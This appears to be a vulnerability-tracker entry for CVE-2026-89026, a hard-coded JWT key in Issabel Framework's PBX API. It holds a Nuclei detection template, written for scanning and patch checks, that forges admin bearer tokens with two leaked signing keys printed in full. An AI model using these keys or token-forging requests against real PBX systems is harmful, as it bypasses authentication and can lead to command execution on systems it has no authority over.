CVE-2026-89026: Issabel Framework - Hard-Coded PBX API JWT Key

2026-11-09 PoC Public

Description

Issabel Framework before commit b97dbaf uses a shared HS256 key for PBX API bearer tokens. This template uses the read-only AMI ExtensionState action to check whether the PBX API accepts a short-lived token signed with either the vulnerable upstream-source key or the key in the 5.0.0-2 RPM, after rejecting an unrelated key.

Details

CVE
CVE-2026-89026 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-89026

info:
  name: Issabel Framework - Hard-Coded PBX API JWT Key
  author: alex
  severity: critical
  description: |
    Issabel Framework before commit b97dbaf uses a shared HS256 key for PBX API bearer tokens. This template uses the read-only AMI ExtensionState action to check whether the PBX API accepts a short-lived token signed with either the vulnerable upstream-source key or the key in the 5.0.0-2 RPM, after rejecting an unrelated key.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands as the Asterisk user, potentially compromising the system.
  remediation: |
    Update to the version after commit b97dbaf or latest available version.
  reference:
    - https://github.com/IssabelFoundation/framework/commit/b97dbaf0b71c1c36f841e672b664afbeb02773bd
    - https://github.com/IssabelFoundation/firstboot/commit/74b28cab9a35
    - https://www.vulncheck.com/advisories/issabel-pbx-hard-coded-jwt-key-rce-via-pbxapi-manager-originate
    - https://nvd.nist.gov/vuln/detail/CVE-2026-89026
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-89026
    epss-score: 0.02699
    epss-percentile: 0.86022
    cwe-id: CWE-321
  metadata:
    max-request: 3
    vendor: issabel
    product: framework
  tags: cve,cve2026,issabel,pbx,jwt,auth-bypass,vuln,vkev

flow: http(1) && http(2)

variables:
  access_claims: '{"data":{"name":"admin"}}'
  control_key: "unrelated-lab-control-key-for-jwt-differential"

http:
  - raw:
      - |
        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{generate_jwt(access_claims,"HS256",control_key,unix_time(120))}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - status_code == 403
        internal: true

  - raw:
      - |
        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{generate_jwt(access_claims,"HS256",key,unix_time(120))}}
        Accept: application/json

    payloads:
      key:
        - "da893kasdfam43k29akdkfaFFlsdfhj23rasdf"
        - "YjViOTcxMWMzMDc5M2RkNDdiYTNkZDk1YTgyYjNjYzdhNTkwNTUwODk2MjU1YTE0"
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, '"Response":"Success"', '"Message":"Extension Status"', '"Exten":"1000"')
          - contains(content_type, "application/json")
          - status_code == 200
        condition: and
# digest: 4a0a004730450221009ea930cc5e4cb6299c2f0613b19518d9069bdb7f69976cc1de19b3602842fb7602202f997121eef0ae2ab0bcf288acc2b63fd9067b2d0ab2e8bca5f67f665d3f8fa0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life